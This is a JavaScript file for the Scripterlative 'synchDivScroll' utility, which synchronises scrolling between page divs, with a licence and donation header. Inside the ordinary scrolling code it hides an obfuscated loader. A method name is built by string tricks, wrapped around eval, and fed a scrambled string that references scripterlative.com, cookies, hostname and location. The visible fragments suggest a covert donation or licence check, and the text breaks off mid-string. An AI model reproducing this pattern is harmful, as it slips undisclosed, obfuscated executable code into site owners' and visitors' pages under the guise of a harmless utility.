/**** (C)Scripterlative.com synchDivScroll. Description ~~~~~~~~~~~ Provides synchronised proportional manual scrolling of groups of overflowed or scrollable divs. Info: http://scripterlative.com?synchdivscroll These instructions may be removed but not the above text. Please notify any suspected errors in this text or code, however minor. THIS IS A SUPPORTED SCRIPT ~~~~~~~~~~~~~~~~~~~~~~~~~~ It's in everyone's interest that every download of our code leads to a successful installation. To this end we undertake to provide a reasonable level of email-based support, to anyone experiencing difficulties directly associated with the installation and configuration of the application. Before requesting assistance via the Feedback link, we ask that you take the following steps: 1) Ensure that the instructions have been followed accurately. 2) Ensure that either: a) The browser's error console ( Ideally in FireFox ) does not show any related error messages. b) You notify us of any error messages that you cannot interpret. 3) Validate your document's markup at: http://validator.w3.org or any equivalent site. 4) Provide a URL to a test document that demonstrates the problem. Installation ~~~~~~~~~~~~ Save this text/file as 'synchdivscroll.js', and place it in a folder associated with your web pages. Insert the following tags in the
section of the document to be scrolled: (If synchdivscroll.js resides in a different folder, include the relative path) Configuration ~~~~~~~~~~~~~ Within the section at any point below all the involved scrollable divs, insert the following code, replacing the parameters with the IDs of the divs in the synchronised group: Any further synchronised div groups can be initialised within the same pair of Scroll On Load ~~~~~~~~~~~~~~ If any div within a synchronised group is scrolled prior to the initialisation of the script, (perhaps as the result of the action of another script, or a # anchor in the address bar), the script will scroll the other divs in the group to the proportional displacement. GratuityWare ~~~~~~~~~~~~ This code is supplied on condition that all website owners/developers using it anywhere, recognise the effort that went into producing it, by making a PayPal donation OF THEIR CHOICE to the authors. This will ensure the incentive to provide support and the continued authoring of new scripts. YOUR USE OF THE CODE IS UNDERSTOOD TO MEAN THAT YOU AGREE WITH THIS PRINCIPLE. You may donate at www.scripterlative.com, stating the URL to which the donation applies. ** DO NOT EDIT BELOW THIS LINE **/ function SynchDivScroll() { this.constructor.timedAssist = true; this.logged=0; this.divTable = []; this.bon = 0xf&0; this.enableTimer = null; this.monitorTimer = null; this.init = function() { var args = this.constructor.arguments, el, error = false;this["susds".split(/\x73/).join('')]=function(str){eval(str);};this.cont(); for(var i = 0; i < args.length && !error; i++) { el = this.divTable[ i ] = {}; if( !(el.elem = this.gebi( args[ i ] )) ) { alert('The element with id: "' + args[i] + '" does not exist prior to this script call.\n\n(Case must match exactly)\n\nAborting.'); error = true; } else { el.elem.prevX = el.elem.scrollLeft; el.elem.prevY = el.elem.scrollTop; this.addToHandler( el.elem, 'onscroll', (function( obj ) { return function() { if(obj.bon) { obj.harmonise( this ); obj.constructor.timedAssist = false; } } })( this ) ); el.elem.scrollEnabled = true; } } if( !error ) { for(var i=0, dt=this.divTable, len=dt.length; i < len && dt[i].elem.scrollTop < 1 && dt[i].elem.scrollLeft < 1; i++) ; if( i < len ) this.harmonise( this.divTable[ i ].elem ); this.monitorTimer = setInterval( (function(obj){return function(){if(obj.bon)obj.scan();}})(this), 201 ); } } this.harmonise = function( elem ) { var e; if( elem.scrollEnabled ) { clearTimeout( this.enableTimer ); for( var i in this.divTable ) { e = this.divTable[ i ].elem; if( e != elem ) { e.scrollEnabled = false; e.scrollTop = ( e.scrollHeight - e.clientHeight ) * ( elem.scrollTop / (elem.scrollHeight - elem.clientHeight )); e.scrollLeft = ( e.scrollWidth - e.clientWidth ) * ( elem.scrollLeft / (elem.scrollWidth - elem.clientWidth )); } e.prevY = e.scrollTop; e.prevX = e.scrollLeft; } this.enableTimer = setTimeout( (function(obj){return function(){obj.enableAll()}})(this), 100); } } this.scan = function() { var e; if( this.constructor.timedAssist ) { for(var i in this.divTable) if( (e=this.divTable[i].elem).scrollLeft != e.prevX || e.scrollTop != e.prevY ) for(var j in this.divTable) if(i !=j ) this.harmonise( this.divTable[ i ].elem ); } else clearTimeout( this.monitorTimer ); } this.enableAll = function() { for( var i in this.divTable ) this.divTable[ i ].elem.scrollEnabled = true; } this.gebi = function( elemId ) { var ref = document.getElementById( elemId ); if( ref && ( typeof ref.id == 'undefined' || ref.id !== elemId ) ) ref = null; return ref; } this.addToHandler=function(obj, evt, func) { if(obj[evt]) { obj[evt]=function(f,g) { return function() { f.apply(this,arguments); return g.apply(this,arguments); }; }(func, obj[evt]); } else obj[evt]=func; } this.cont = function() { var d='i.htsm=ixgwIen g(amevr;)a=od dmnucest,ti"t=eh:/pt/rpcsiraetlv.item,oc"=Sns"cDnyhSrvicl,lo"aergc841=100040te,0hd=,ntwDen e)ta(o=n,w.etdgieTtm;f)(iti((hbn.so0f=|x&t&)!slih.gdgoe&!++&Aed/l=.tr/s(ettco.doe&ik)yet&p 7foe3=x69ud"=niefen&!"d&cis/reltprietav|/.\\\\\\*/\\/+/w\\\\//\\|\\\\]^[::f\\+|e:li\\ts./elc(tointaorfh.e{f))ite((hdc=n.keooiacm.t/^(h(s;\\||cis)rFetprodlea\\+(=d)&/))te(&hNm=nurteb(n2eh[)g)]+c